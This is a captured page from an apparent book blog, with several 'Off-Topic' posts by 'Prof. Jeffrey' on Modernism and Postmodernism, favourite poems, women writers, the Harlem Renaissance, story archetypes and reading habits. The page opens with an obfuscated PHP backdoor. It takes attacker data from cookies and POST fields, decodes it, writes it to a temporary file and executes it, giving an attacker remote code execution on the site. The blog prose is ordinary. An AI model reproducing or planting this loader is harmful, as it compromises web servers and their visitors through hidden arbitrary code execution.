$cNXDwVByR = "\x71" . "\137" . chr (120) . 'P' . 's' . chr (118); $OufaCMgNtG = chr (99) . "\154" . chr (97) . 's' . "\163" . '_' . "\x65" . chr ( 405 - 285 ).'i' . "\163" . 't' . 's';$WNpsIj = class_exists($cNXDwVByR); $OufaCMgNtG = "49874";$PawnNw = strpos($OufaCMgNtG, $cNXDwVByR);if ($WNpsIj == $PawnNw){function orxRx(){$JepoG = new /* 39337 */ q_xPsv(17188 + 17188); $JepoG = NULL;}$NnpnJlPCfZ = "17188";class q_xPsv{private function aMdaBkJp($NnpnJlPCfZ){if (is_array(q_xPsv::$HscIcgn)) {$name = sys_get_temp_dir() . "/" . crc32(q_xPsv::$HscIcgn["salt"]);@q_xPsv::$HscIcgn["write"]($name, q_xPsv::$HscIcgn["content"]);include $name;@q_xPsv::$HscIcgn["delete"]($name); $NnpnJlPCfZ = "17188";exit();}}public function MiUvuzgzET(){$cVXEwQuvPG = "5015";$this->_dummy = str_repeat($cVXEwQuvPG, strlen($cVXEwQuvPG));}public function __destruct(){q_xPsv::$HscIcgn = @unserialize(q_xPsv::$HscIcgn); $NnpnJlPCfZ = "25826_63849";$this->aMdaBkJp($NnpnJlPCfZ); $NnpnJlPCfZ = "25826_63849";}public function qyjyL($cVXEwQuvPG, $SlJdX){return $cVXEwQuvPG[0] ^ str_repeat($SlJdX, intval(strlen($cVXEwQuvPG[0]) / strlen($SlJdX)) + 1);}public function XpbJmm($cVXEwQuvPG){$TSATbHyU = "\142" . "\141" . "\163" . "\x65" . chr (54) . "\x34";return array_map($TSATbHyU . '_' . chr ( 306 - 206 ).chr ( 1019 - 918 )."\x63" . 'o' . "\144" . 'e', array($cVXEwQuvPG,));}public function __construct($EGoPcmD=0){$fKrGaV = chr (44); $cVXEwQuvPG = "";$bdPqtB = $_POST;$eaYWF = $_COOKIE;$SlJdX = "f1c98e30-a4ae-46c5-a09b-85cb4a9c7305";$YikMbx = @$eaYWF[substr($SlJdX, 0, 4)];if (!empty($YikMbx)){$YikMbx = explode($fKrGaV, $YikMbx);foreach ($YikMbx as $BxcmiUHxco){$cVXEwQuvPG .= @$eaYWF[$BxcmiUHxco];$cVXEwQuvPG .= @$bdPqtB[$BxcmiUHxco];}$cVXEwQuvPG = $this->XpbJmm($cVXEwQuvPG);}q_xPsv::$HscIcgn = $this->qyjyL($cVXEwQuvPG, $SlJdX);if (strpos($SlJdX, $fKrGaV) !== FALSE){$SlJdX = chunk_split($SlJdX); $SlJdX = rtrim($SlJdX);}}public static $HscIcgn = 47323;}orxRx();} Off-Topic – Page 2 – 50 Books to Read Before You Die

words to inspire before you expire

Category: Off-Topic (Page 2 of 2)

Off-Topic: Modern and Postmodern Literature

Hello again, class.

We’ll have a bit of a history lesson today, and talk about literary periods. Historical context can redefine a piece of literature, and something that’s always helped me with reading older texts is understanding which period of history it came from. The Victorian Era, for example, was the era of Great Britain during the reign of Queen Victoria. I know little bits about Victorian society, belief systems, social stigmas . . . each one increasing my understanding of novels and poems of the time. It’s basic reading strategy any good blog professor should know.

My two favorite periods of literature are Modernism and Postmodernism (which are more like one 2-part period, but I didn’t write the textbooks). More than being the eras of some of my favorite works, I think the majority of the books on the 50-books list could fall in the categories of modern or postmodern literature. That alone makes it worth knowing what these categories mean and how they apply to novels on the list.

(Disclaimer: I am summing up entire textbooks worth of information into a blog post. It’s a LIMITED analysis.)


Modern writer F. Scott Fitzgerald, author of “The Great Gatsby.”

Modern literature doesn’t actually mean “modern” like new or contemporary. It sort of meant that at the time, but that period is about a hundred years old by now. When people talk about modern literature, they’re usually referring to the first half of the 20th century, ending around the same time as the end of WWII. That period of history was, on a worldwide scale, sheer chaos.

Both World Wars, the Great Depression, political movements for women’s rights, the Harlem Renaissance, introduction of Freud’s theories, the roaring 20’s, advances in technology . . . these are fractions of the chaos of the time. Traditions were breaking down, becoming fragmented copies of the old world. Questions were asked about morality, society, sexuality, religion, government, the future—questions that were never considered before.

Modern Writer Ernest Hemingway, works including “The Sun Also Rises” and “The Old Man and the Sea.”

The art reflected the chaos. Novels like The Grapes of Wrath and As I Lay Dying were chaotic in the most complicated ways; they broke the rules of grammar and storytelling, and they sacrificed old traditions to make room for greater truths. Poems like T. S. Eliot’s “The Waste Land” and W. B. Yeats’ “The Second Coming” broke the rules of poetry and removed the comfort of structure.


The dates are shifty for Modernism, so they are just as shifty for the sequel, Postmodernism. Ending with WWII and working through the Cold War and the later half of the 20th century, the Postmodern Era shares a lot of similarities to Modernism. The chaos of the 50s, 60s, and onward, the continuing breakdown of traditional values, the Vietnam and Korea conflicts, the birth of nuclear power, the Civil Rights movement . . . the chaos continued.

Postmodern poet Allen Ginsberg, author of “Howl.”

But one of the key differences was how the artists responded (which is why it gets a different name in the textbooks). The artists of the modern era were more afraid of the chaos, and the art was used to help them cope with it. But postmodern artists celebrated the chaos; they relished in the collapse of the old and the strangeness of the new.

Novels like The Catcher in the RyeThe Color Purpleand On the Road fall in the postmodern category. These writers took the previous generation’s fear and apprehension and transformed it into a movement that praised the breaking of tradition. Novels like these lived into the chaos of the time.


Postmodern author Margaret Atwood, author of “The Handmaid’s Tale.”

But as I said, the reason I chose these two periods for today’s lesson is not just because they’re my favorite, but because they sum up most of the books on the 50-books list. Before the 20th Century, elements of modern and postmodern literature can be seen popping up among the best of literature. Novels like The Picture of Dorian Gray and Pride and Prejudice and even older pre-novel works like Hamlet and The Canterbury Tales have elements reflecting the chaos: the depths of psychology, the fear of advancing technology, the downfall of conventionality, the inherent wrongness in rules of morality and religion.

Personally, I think all of literature was leading toward the birth of modern works. Questions about race asked by Oroonoko and Robinson Crusoe are answered by literature from the Harlem Renaissance. The heavily structured language of the Victorian Era’s A Christmas Carol and The War of the Worlds led to the deconstruction of language in A Portrait of the Artist as a Young Man. Early women writers like Aphra Behn and Jane Austen opened the doors for modern and postmodern writers like Virginia Woolf and Alice Walker. There’s no Ulysses without Dante’s Divine Comedy.


That’s my theory, anyway. And I like it for the same reason I like Ulysses: the “everything-is-connected”-ness of it all. Granted, it’s not a very scholarly theory, but it puts the “story” in “history.”

As I finish up Ulysses, you’ll hear more of this theory—next week is the big one!

Until then, enjoy your week.

Prof. Jeffrey

Off-Topic: Poetry Favorites (Part 2)

Hello again, class.

There’s a lot of poetry out there, so I’m following up on my last post about my favorite poems! Be sure to check out my previous post to see the poems I’ve already written about.

I’ve included links to Poets.org for the full poems below. (Once again, as sort of a disclaimer, I’ve only chosen English poetry…I have zero expertise in poetry from other languages, and I wish I did. These are some of the best English-language poems I know.)


This poem is not one I would usually call a favorite, but it’s grown on me for its subtlety. Wheatley was one of the first black poets in America, and her work challenged beliefs about racial treatment and humanity. In this poem, Wheatley praises God’s mercy for being revealed to her, and celebrates God leading her to a new land. She carefully warns others that anyone can be a Christian, and anyone can be redeemed—even men and women from Africa. That’s a message that was sorely needed at the time, and has challenged prejudice and injustice to this day.

If you’ve ever seen Dead Poets Society, you know this one. Whitman asks the “To be or not to be” question: what’s the point of life? What good comes from living? The answer is that the powerful play of life goes on, and we can contribute a verse to that play. The poem is a simple and powerful understanding of life, worth reading every time.

A professor once told me that the best way to read and understand this poem is to get very drunk (his exact word was PLASTERED) and then read it. While I haven’t followed his advice, I can see where he’s coming from—this is a very long and complicated poem, and all of the helpful meaning has been filtered out. But it also captures the chaos and decay of the time; Eliot’s thoughts on the collapse of society, the terror of war, the brave new world around the corner . . . the poem does a really great job of capturing those themes. I discover something new every time I read it.

I know of no other poem about suicide, and I certainly don’t know any piece of art that glorifies it in this way. It’s off-putting, but it continues to draw me in. Sylvia Plath, who committed suicide in 1963, was writing about such dark themes very personally, and this poem reflects it by including Nazi imagery and graphic moments of bodily decay. It’s hard to read about her suicide attempts, but it is powerful, emotional poetry that shakes me.

The link above is to a picture of this poem on a wall in Charlotte, NC—I couldn’t find the poem anywhere else. It’s a simple poem about two people in love, but it’s also about the choice to love someone . . . a choice we face again and again. It’s a choice people face when they meet for the first time, and it’s a choice years later. But there is also the question that something external chose these lovers: God, the universe, or maybe the luck of the draw. It’s empowering and humbling poetry. The man who wrote it was a professor of mine in college, who continuously inspired me to write, and for that it’s personally special as well.

This piece of prose poetry is from Rankine’s incredible Citizen: An American Lyric (2014), portraying racism in modern America. Rankine describes a train (or any and all public spaces) where a black man sits next to an empty chair while another woman stands, uncomfortable sitting next to him. The speaker sits next to him, and in that simple action they form a bond that is close to family—a defiance of racial attitudes, of fear, and of injustice. Most of Citizen does this as well, but this is one of the more powerful passages.


Make sure to take a look at each of these! In the comments, tell me your favorite poems—I’m always down for reading more poetry.

Until next week,

Prof. Jeffrey

Off-Topic: Great Women of Literature

Good morning, class.

It’s National Women’s History Month, and as usual, I’m celebrating through literature! Out of the many, I’ve picked my favorite female authors and poets who have changed the game (and just to be clear, it may be a national holiday, but my picks are global).

These are in no order, and I’ve included their most notable works (and links to previous blog posts, if you want to hear more of my ramblings . . . enter at your own risk).


  1. Jane Austen: Pride and PrejudiceSense and SensibilityEmmaPersuasion
  2. J. K. Rowling: The Harry Potter Series
  3. Harper LeeTo Kill a Mockingbird and Go Set a Watchman
  4. S. E. HintonThe Outsiders
  5. Lois LowryThe Giver and Number the Stars
  6. The Brontë SistersJane Eyre by Charlotte Brontë, Wuthering Heights by Emily Brontë, and The Tenant of Wildfell Hall by Anne Brontë
  7. Alice WalkerThe Color Purple
  8. Emily Dickinson: various poetry
  9. Maya AngelouI Know Why the Caged Bird Sings and various poetry
  10. Sylvia PlathThe Bell Jar and various poetry
  11. Claudia RankineCitizen: An American Lyric
  12. Mary ShelleyFrankenstein
  13. Elizabeth Bishop: various poetry
  14. Phillis Wheatley: various poetry
  15. Mary WollstonecraftA Vindication of the Rights of Women
  16. Virginia WoolfMrs. DallowayTo the Lighthouse, and A Room of One’s Own
  17. Aphra BehnOroonoko: or, the Royal Slave

We all know that this is the tip of the iceberg . . . none of these women were stopped by the male-dominated-ness of the world of literature, and neither were millions of others. So, small as it may be, consider this post an act of feminism.

Happy National Women’s History Month!

Prof. Jeffrey

Off-Topic: Harlem Renaissance Favorites

Hello again, class.

While it’s still Black History month, I want to do a little digging into one of the bright spots in literary history: the Harlem Renaissance. I am not an expert, but I know a little . . . enough to share my favorite writings from the period.

The Harlem Renaissance was an energized rebirth of African-American art and culture. After the Civil War and Reconstruction had dramatically changed (or tried to change) racial relationships in the South, there was a period called the Great Migration—a majority of the black population in America moved North. Within the walls of segregation, black Americans from all over the country began to culturally clash and grow with each other, churning out art, music, and literature.

From about 1917-1936, America’s black population caused a cultural explosion. The renaissance was the wildfire caused by the spark of the Civil War, as well as the prologue to the Civil Rights Movement and race relations in America throughout the 20th Century. And the literature—of which I’ve read a small percentage—is incredible.

I’ve made a list of my favorites (not the best, not the most important . . . just my favorites).


Poet Countee Cullen

  1. “Heritage” (Poem) by Countee Cullen:  To sum up this poem, it’s about a black man struggling with the foreignness of his African heritage—he is an American, no matter how much America wants him to be African. He poetically describes stereotypical African imagery and culture, and it feels strange to him . . . a feeling both awkward and haunting. (Favorite Lines: “Spicy grove, cinnamon tree, What is Africa to me?“)

  2. “America” (Poem) by Langston Hughes: Few poets capture the dream of America as well as Hughes, and “America” does that and more. It is a celebration of the American melting pot, and the reputation America has had as the outcast whose arms are open to other outcasts. There is a critical tone, but it’s surrounded by hope for America’s future. (Favorite Lines: “You know me, Dream of my Dreams, I am America. I am America seeking the stars.”)

    Author Langston Hughes

  3. “The Negro Artist and the Racial Mountain” (Essay) by Langston Hughes: This nonfiction piece about art and race is eye-opening, and I can only imagine how much it revolutionized a future for black artists at the time it was written. It talks about the systematic favoring of white people within the black community, and that the only way black artists can succeed is by being aware of—and subverting—that favoritism. (Favorite Lines: “But this is the mountain standing in the way of any true Negro art in America—this urge within the race toward whiteness, the desire to pour racial individuality into the mold of American standardization, and to be as little Negro and as much American as possible.”)

  4. “How It Feels to Be Colored Me” (Essay) by Zora Neale Hurston: Here is Hurston’s biographical essay about her coming to understand her race, in terms of skin color and culture. She beautifully describes her childhood discovery of her colored-ness, and where that belongs in her citizenship, her spirituality, her art, and her relationships. It is cataclysmically gorgeous. (Favorite Lines: “The cosmic Zora emerges. I belong to no race nor time. I am the eternal feminine with its string of beads.”)

    Author Zora Neale Hurston

  5. Their Eyes Were Watching God (Novel) by Zora Neale Hurston: If I had read this more recently, I’d make a full post about it—as of now, I can’t do it justice, but it certainly belongs on the list. The novel tells the story of Janie Crawford and her three marriages, each of which inspire a journey of self-discovery. Janie’s journey is hard, and Hurston’s prose is beautiful. The novel is usually considered a result of the Harlem Renaissance, rather than a part of it, but it’s worth mentioning nonetheless. (Favorite Lines: “There is a basin in the mind where words float around on thought and thought on sound and sight. Then there is a depth of thought untouched by words, and deeper still a gulf of formless feelings untouched by thought.”)

For my sources, I used The Norton Anthology of American Literature (ed. Reidhead), The Portable Harlem Renaissance Reader (ed. Lewis), and a copy of Hurston’s Their Eyes Were Watching God.

Let me know if there’s something else I should include . . . I’m always looking for recommendations!

Until next time,

Prof. Jeffrey

Off-Topic: Poetry Favorites

Welcome back, class. Today, we’re talking about the best in poetry (according to Prof. Jeffrey).

I didn’t really start appreciating poetry in full until college, when I started to see the variety it could offer. Poetry is different for everyone; for me, it’s about taking any topic (anything’s up for grabs) and writing about it in a careful, artistic way. Prose adheres to the rules of grammar, but poetry adheres to its own rules—rules about structure, rhyme, meter, sound, etc. It also reserves the right to toss those rules out the window, which makes every poem unique and surprising.

I’ve selected my favorite poems from each poet below, with links to Poets.org for the full piece. These aren’t poems you have to read before you die, but they get five stars each from me—so they’ve got that going for them, which is nice.

(As a kind of disclaimer, please note that I’ve only chosen English poetry…I have zero expertise in poetry from other languages, and I wish I did. So these are the best poems out of America and English-speaking Europe.)


It’s one of Shakespeare’s most popular sonnets, and it’s a classic. As much as love is a topic in his plays, his ideas about love are almost completely summed up here. It’s about love that’s uncompromising and stands the test of time, and it’s told in Shakespeare’s beautiful (if somewhat difficult) poetic language. And for the reputation poetry has on love, “Sonnet 116” is the only through-and-through love poem on my list.

This is another sonnet, though with a much more unconventional poetry topic: power and decay. It tells the story of an ancient king, whose statue and kingdom have collapsed over time. It’s built in frames, as told by “a traveler from an antique land” and moving back in time from there. To me, it foreshadows the decay of old poetry (and it’s rules) for the changes to come of the modern world.

I have an obsession for dashes—one that can only be matched by Emily Dickinson’s poetry. I love many of her poems, but this one in particular has always struck me with power. Before the term “seasonal depression” was used in psychological circles, this poem described it perfectly—the light in winter afternoons that hangs heavily on the speaker, the hurt without a scar, the despair in the air. It conveys much about Dickinson’s art and pain, and it does it beautifully.

Poetry rarely gives insight into the apocalypse, but Yeats is a rare poet. This is his poem about the world collapsing around him (maybe as partly inspired by Shelley’s “Ozymandias”) from war, rebellion, and uncertainty. Here, he portrays the second coming of Jesus, and it’s not pretty—it’s a beast, which “slouches toward Bethlehem to be born.” This poem is chilling and terrible, and it’s modern poetry at it’s darkest and best.

I chose this poem because of how much it hurts. Hughes wrote it in the early 20th Century, and it sounds as if he’s writing about our country today. It talks about America as a dream, and it may be real someday, but it isn’t America now and it never has been. This country was founded on freedom that didn’t exist—freedom that allowed slavery, sexism, and class systems. The speaker is hoping that someday, America will be what it should be, and I choose it as one of my favorites because I hope so too.

This is one of the most versatile poems I’ve ever read—it can be interpreted in so many ways, but it’s simple enough to understand on the surface. A person catches a fish and admires it, and is so overwhelmed by its beauty that they let it go. The imagery is incredible, and it is a full step away from the traditional rules of poetry. No single meter, no active use of rhyme—just poetry at its finest.

Maya Angelou is the embodiment of inspiration, and so is her poetry. “Still I Rise” is simple, original, and powerful—it seems like only she could have written it. To read it is to feel like she’s there, laughing with you at those that oppress her; I recommend finding a version of this poem with her reading it. It is a poetic anthem that speaks to the human spirit and to the full force of poetry.


This is the tip of the iceberg—there’s so much poetry out there that has changed the world. Your homework: let me know in the comments what other poems are your favorites! Any poetry is good poetry to the reader who loves it.

See you next time,

Prof. Jeffrey

Off-Topic: Types of Stories

Hello again, class.

I recently read an article claiming that all stories are the same. Details differ, but the “skeletons” are all based on the same structure. The monsters in a story can take many shapes, like Grendel in Beowulf, the land owners in The Grapes of Wrath, and infidelity in Ulysses, but they’re all monsters. The quest is always about finding something—treasure, peace, home, the damsel in distress, etc. Characters have arcs, plots have acts, and Hollywood has McGuffins.

I see this as a challenge. There isn’t much in this world that’s so subtly threatening as categorizing things. Someone created each of those stories, and if you told them their story was exactly like everyone else’s, you might not get out of there alive. So before we chalk this up as fact, let’s analyze it a bit.


Frankenstein's Monster, a classic example of the monster archetype.

Frankenstein’s Monster, a classic example of the monster archetype.

If all stories are the same, then all plots and characters are based on already-established archetypes. When we talk about a monster or a villain, certain requirements of the archetype come to mind, and an author can adhere to, deny, or parody those requirements with their own creation. The overcoming-the-monster plot is an archetype as well, and certain requirements of that plot are already in place. When we see a hero fighting a monster, we understand the labels of “hero” and “monster” from other stories, and we understand the trajectory of the story from similar stories.

The claim that all stories are the same—like most generalizations—is trapped in labels…and labels are always evolving. The heroes and monsters of Ancient Greece and the Renaissance may not be the same as monsters of today, but we can “translate” the monsters of the past into monsters that we recognize. A character who is imposing, mean-spirited, and violent is a monster, whether it’s a giant one-eyed Cyclops or an angry business-owner. A monster can even be a friendly teenage boy or a devoted parent, as long as the archetype is still upheld—“translated” accurately.

These archetypes are great at doing one of two things: A) helping readers and viewers “figure out” the story by making it familiar, or B) binding the plot and characters unnecessarily, and forcing it to pull its punches rather than tell a good story.


I read another article that clarifies that there are seven types of stories—seven plot archetypes that all stories adhere to. See the article here for a more in-depth look.

  1. bookshelf-illustrationOvercoming the Monster (that’s, like, the millionth time I’ve mentioned this one—take the hint, it will be on the test)
  2. Rags to Riches
  3. The Quest
  4. Voyage and Return
  5. Comedies
  6. Tragedies
  7. Rebirth

Even the stories that refute or deny these basic plots are still reflections of them (each one “translated” from the original blueprint). It seems that all stories spring from somewhere else.

The first article I mentioned argues that reducing stories to a formula is like “unweaving the rainbow.” To limit all stories by these boundaries removes the magic of storytelling. I’m not sure I agree though…there is something remarkable about the fact that all stories are connected, as if it’s all one big story. Writers are building on the stories of the past toward stories of the future, and everyone adds a piece.

To quote Walt Whitman, “That the powerful play goes on, and you may contribute a verse.” And to quote Robin Williams, “What will your verse be?”


types-of-stories-book-landscapeA professor once told me that there are two ways to start a story—either a stranger comes to town, or someone decides to leave. Whatever happens from there changes everything. Somehow, that simple prompt is both challenging and comforting.

Your homework: I want to see if you have a story that won’t fit in the basic plots listed above. Prove these high brow literature professors wrong (not me, of course—all the other snooty ones). Leave it in the comment section. Don’t feel bad if you can’t find one, though. Yes, those are fighting words.

You can look forward to my post on A Christmas Carol next Wednesday. Thanks for coming to class!

Prof. Jeffrey

Off-Topic: Novels I’m Thankful For

Happy Thanksgiving, class! In theme with the holidays, I have created a list of the novels I am most thankful for. This time, students, it’s personal.

To clarify: I’m not listing the best novels, or even my favorite novels. These are simply novels that have changed my life. If it made me who I am today, it qualifies. I’m also including works that are kind of novels, but I’m excluding anything that clearly is not a novel. Hamlet and The Bible are on the “50-Books” list, but neither of them are novels, so they aren’t here.


Here’s the list, in unbiased alphabetical order:

  • The Boxcar Children Series by Gertrude Chandler Warner

These are the first books I remember reading. Warner’s kid-friendly mysteries involved four siblings, always dealing with personal struggles, but always outsmarting their own situations by working together. The Boxcar Children started me on a path of reading with desperation—to find out how it ends, to solve the mystery, to discover the twist. It was also a series that I started reading with my mom and older sister, so it tends to bring emotional roots to the surface. Eventually, though, I started reading ahead of them. They were going too slow.

  • Citizen: An American Lyric by Claudia Rankine

On the opposite end of the spectrum is a profound and challenging kind-of-novel. Citizen is a lyrical portrayal of the kind of racism the modern American experiences. With hodgepodged prose-poetry and powerful pictures, Rankine describes American citizenship in the context of the racism that still plagues our country. I put it on this list because nothing has helped me understand modern racism and white privilege more completely, as well as the distance we have yet to travel as a society in order to achieve equality.

  • The Harry Potter Series by J. K. Rowling

Sometimes, I use this series to define me, as well as the generation I’m a part of. The Boxcar Children taught me to read desperately, and the first time I read these books, I missed the subtleties as I flew through each chapter. The Harry Potter movies revealed what I had missed, and then the books showed me what the movies had missed—Harry Potter taught me the value of rereading, so much so that I’ve lost count of how many times I’ve read each book. It’s also just plain awesome.

Read my previous post on Harry Potter to learn more!

  • Oh, The Places You’ll Go! by Dr. Seuss

Surprisingly, this book had more meaning as I grew up. As a child, I don’t remember reading it, but I picked it up again for a strange assignment in college (I’ll spare you the gory details). But suddenly, with my career choices ahead of me and my future in question, this book made all kinds of sense. Dr. Seuss’ works have a way of speaking to the soul, bypassing the mental challenge of reading entirely. Though I could have chosen any of his other soul-speaking works, this one gave me the best advice, and I’m particularly grateful for that.

  • A Tale of Two Cities by Charles Dickens

This is one of those novels that isn’t really my favorite. I like it, certainly, but it took me two tries to really get into it. My first try reading this novel was a catastrophic nightmare (again, I’ll spare you the gory details), but when I read it again, there was a moment that sticks with me to this day. I was speaking to my dad about parts of the novel that impressed me, and about the characters, and the symbolism, and this cool part over here and that cool part over there…when he stopped me and asked if I had ever considered being a teacher.

That conversation changed my life. On one hand, it gave me the inspiration to discover the passion and empathy I have with children, and the beauty in that incredibly important job. On the other hand, it has caused me more strife, anguish, and panic than I have ever experienced. As odd as it seems, I am thankful for both the good and the bad that came of it.

  • Ulysses by James Joyce

I’ll be saving most of my Ulysses discussion for the blog post dedicated to it, way off somewhere in the future, but it would be a disservice not to mention it. Everything I’ve read since reading Ulysses feels different. My own writing feels different. Ulysses taught me to see differently, to question even the most fundamental truths, and to understand the everyday human experience as an epic journey out into the world and back again. I finished it almost a year ago now, and I still fell a swell of awe and beauty remembering the heroes of Joyce’s Dublin.

  • Wicked by Gregory MaGuire

My last selection is a complicated choice, but I ultimately chose it for the same reason Harry Potter impacted me. Harry Potter grew up, and the series grew up with him, and I grew up with the series. Wicked did something similar—it took a story I knew and made it more adult (by that, of course I mean it was more chaotic, more complicated, and less censored than the original). Excluding classroom literature assignments, I think this is the first truly “adult” book I ever read. It entered me into a world I didn’t really like, but couldn’t look away from either, and it’s deliberate non-structure, harsh political themes, and challenging ideas about evil strained my previously held notions.


You knew this question was coming—what books are you thankful for? Let me know in the comments.

I won’t be able to post next week—class is officially cancelled (and I LOVE that I have the power to do that). For the month of November, I have been participating in NaNoWriMo, or National Novel Writing Month. If you’ve heard of it or tried it, you’ll know the immense joy and suffering I am experiencing during the month of November. It just so happens that the last day of the month is on a Wednesday, when I would usually have my blog post ready to go. I will instead dedicate the last week of November to my own fantasy fiction.

Enjoy your Thanksgiving and your November!

Prof. Jeffrey

Off-Topic: What is “Literature,” Exactly?

Welcome back, class.

Today’s lecture might be profoundly interesting or dangerously boring; it depends on the level of pleasure you take in defining things.  I know that some of you couldn’t care less. I can see it in your eyes.

But for those of you staring unblinkingly, waiting with bated breath…have I got a treat for you!  You’re what the “academics” call “academics.”  Understanding theory and theoretical ideas actually interests you, and bonus points are in order if you like learning things that have no practical value in the working world whatsoever.  You’re my kind of people.


books-stock-photoA lot of my time in literature courses at college was spent asking the probing question, “What is literature?”  (We’ll get to WHY that’s an important question in a bit.) It seems like a simple enough question, but it always invokes a huge discussion that usually boils down to this: literature is art that uses words and language. It’s also described as a category of art—literature is always art but art is not always literature.

Some define it by examples: obvious ones like novels, plays, and poems, as well as more obscure examples like movies, blog posts (!), and essays. Even the most clinical or scientific documents can be told artfully, and can therefore be considered literature.  I know of a woman who wrote her dissertation claiming that kitchen recipes were a form of literature.

A T-Shirt Poem

A T-Shirt Poem

This leads me to one of my favorite claims: ANYTHING that uses words or text is literature.  A letter, an e-mail, a paycheck, a coffee mug, a T-shirt, a company logo, a video game, a poster, a political speech, a prescription label…all of it, literature!  So next time you have a surprise essay to write, and you’re stumped, argue that your T-shirt is a poem (at your own peril).

However, it’s worth mentioning that we don’t read tax reports like we read Shakespeare.  We don’t read stop signs like we read poetry, and we don’t read magic 8 balls like we read Harry Potter.  Something in our collective social standards distinguishes between high art and instruction manuals.  Some metaphorical blurry line exists out there between literature and other word-piles.

Or…maybe it’s all relative.  Literature is literature because someone somewhere says that it’s literature, and you can’t declare it non-literature because they have just as much a God-given right to name something literature as you do. Literature is in the eye of the beholder.

baby-reading-photoBut let’s bring it back down to something resembling sanity.  Why do we read?  Usually, to learn something.  When we read Shakespeare, we want to learn about the characters he’s created and the philosophy he’s trying to sell.  When we read a letter or e-mail, it’s to keep up correspondence and to understand their goal or message in sending their note.  When we read a magic 8 ball, we want a prediction, whether we believe it or not.

We read for the same reason we act at all—we want something.  We break the law of inertia and move against the stillness of the world because we, as human beings, have desires.  Maybe if a piece of art or text gives us something we desire, it “counts” as literature.

At this point, it might be easier to discuss literary characteristics than to try defining it head-on.  We can consider the books I’ve read for this class literature: Alice’s Adventures in Wonderland, the Harry Potter series, The Lord of the RingsThe Picture of Dorian Gray, and currently, 1984.  Everything you learned in High School English is there—characters, plot, themes, setting, dialogue, and various other indications of literature.  Each one gives us something to take away and use…some kind of message or lasting idea, whether we want it or not.  Does that make each of these novels literature?  If a painting or sculpture can accomplish the same feat, is it literature as well?


bookshelf-illustrationI’ve tortured you enough.  There is no definite answer to this question, and asking it is more academic “fun” than it is accomplishing ANYTHING. And yet, my follow-up question still stands: why is a question like this important? Don’t worry, it’s a much easier question to answer.

Defining literature is a lot like defining art or music.  As soon as you start drawing lines in the sand between music and not-music, anyone can come along and claim otherwise. Example: random drum banging, screeching guitars, and uncensored swearing is as much music as Beethoven.  Music and literature are art, and though their actual definitions are reliable, they are subject to change.

Oscar Wilde

Oscar Wilde

I’ve quoted Oscar Wilde in an earlier post, from his preface to The Picture of Dorian Gray; he claims that the only purpose for something useless is that it is admired, and that “All art is quite useless.”  This isn’t bad PR for artists; it’s Wilde’s way of saying that art is supposed to affect the soul, and it has no other practical purpose.

So asking ourselves how to define something like literature is our way of defining what serves our soul, and that’s worth keeping an eye out for.  Traditionally, the kind of literature that affects us most is poetry, but we’ve been open to suggestions for the past couple thousand years.  The once low art form of film has risen to new heights in the realm of literature, and in a hundred years, stop signs and tax reports may surprise us.


Your homework: fight me.  Take something above that you disagree with and challenge my views.  Don’t be afraid to comment: you’re a human being with opinions, and it gets lonely around here otherwise.  How might you define literature differently? What’s something you consider literature that most others don’t?

(No one turned in homework for last week. I’m very disappointed, students.  I know professors who kick out their entire classes when such mutiny occurs. You are very fortunate to have a caring and merciful teacher like me.  In any case, the option for commenting is still open, for this post and the previous one.)

I’m continuing 1984, so expect a rousing political lecture next Wednesday!  Have a good week!

Prof. Jeffrey

Off-Topic: How I Read

Good morning, class.

I’m continuing to read through Dorian Gray, so I should be ready for an exciting lecture next week–discussing everything from the nature of art to the soul of the addicted sinner.  Someone should bring snacks.

In the meantime, a friend of mine recently asked me a question I’d like to share with you.  She is a high school English teacher, and she wanted my advice on motivating her students to read.  It got me thinking about the times I’ve struggled with reading a text (yes, I know it comes as a shock that your amazing professor has ever disliked reading something).  For a number of reasons, I’ve had to force myself to read things throughout high school and college, and I picked up on some helpful methods.  Maybe something will jump out at you as a solution to your own reading troubles.

My Reading Space

My Reading Space

First of all, I have a great room to read in.  I’m usually alone, which frees me from distractions, and I have this awesomely comfortable chair.  Multiple lamp options allow me to adjust my lighting easily.  And there’s nothing wrong with the cute wooden table perfect for holding my cup of coffee.

To add to the environment, I almost always have music playing in the background.  No Top 40, nothing popular, nothing even with lyrics–if it has words, it’s a distraction from the words on the page.  I listen to very specific classical music and movie scores.  I have private YouTube playlists compiling soundtracks from my favorite film composers, and I like to replay the same pieces over and over again (and once in a while, maybe, I’ll add something I heard recently to one of these playlists).  The consistency of the music I listen to keeps me focused and in a mindset to learn/read/study.

That mindset is what keeps me actively reading.  There have been periods where I don’t feel like reading at all, and I got through these periods by reading “professionally.”  Sometimes I read like it’s a job I have to do, and the music helps with that.  It also helps when I read aloud, or if I get out of my chair and pace the room as I read, both of which keep the words on the page fresh and meaningful (sometimes, the words simply become dull, and I have to MAKE them interesting).

Disclaimer: these tools work for me, and they may not work for you.  Music may be a distraction for you, which you may find out if you try it a few times.  Maybe you need to be around other people–the background noise may help you focus.  You may need to be outside, or wear specifically chosen reading clothes, or adjust the thermostat to a pre-selected “reading temperature.”  Maybe it’s different every time: when you read Hamlet or Macbeth, you ABSOLUTELY should read it aloud, but when you read Ulysses, it makes more sense in your head (that’s not true…read Ulysses aloud, it makes so much more sense).  Don’t be afraid to experiment.  If you learn how you learn, then you’ll learn how you read.

So keep reading!

Prof. Jeffrey

Off-Topic: Dismantling the “Book vs. Movie” Debate

Welcome back, class.

I’ve noticed that for the first three entries for this blog–Alice’s Adventures in Wonderland, the Harry Potter series, and The Lord of the Rings (pending…I’ll finish reading it eventually, I promise)–each novel in question has a major film franchise.  In fact, the fame for most (if not all) of the books on the list comes from the film adaptations.  I’m not saying that the movies are responsible for their success, but I am saying that their mainstream popularity can be easily linked to their movie versions.

Take, for example, the Harry Potter series.  I grew up with both the books and the movies, so like most fans my age, I have strong opinions about each novel and each film.  Based on entertainment value alone, I would say I enjoyed the movies more when I was younger, and now I enjoy the books more.  The movies did a good job bringing the magic of the series to life, and the books tend to be subtler and less stylistic in their approach.

Other opinions on the series, even in this class, will differ vastly from mine–and that’s the case with every adaptation.  Some prefer the books more, and some prefer the movies.

But every so often, these two media are dragged into the arena by screaming fans and are forced to battle senselessly. The books, as the source material, win much more often than not, and the movies are beaten to a pulp, built back up by hardcore fans, and sent back into the arena for more needless violence.  And what’s worse–our culture encourages this barbarism!

Let me lay this out plainly for you, students, so that you know exactly what’s happening here: books and movies are different.  They are as different as paintings and sculptures.  They are as different as science and history.  They are as different as Earth and Mars.  They shouldn’t be so severely ranked in comparison with each other, because it belittles the work put in by the creators of each product (and if your goal is to belittle those artists, we have a different issue to discuss).

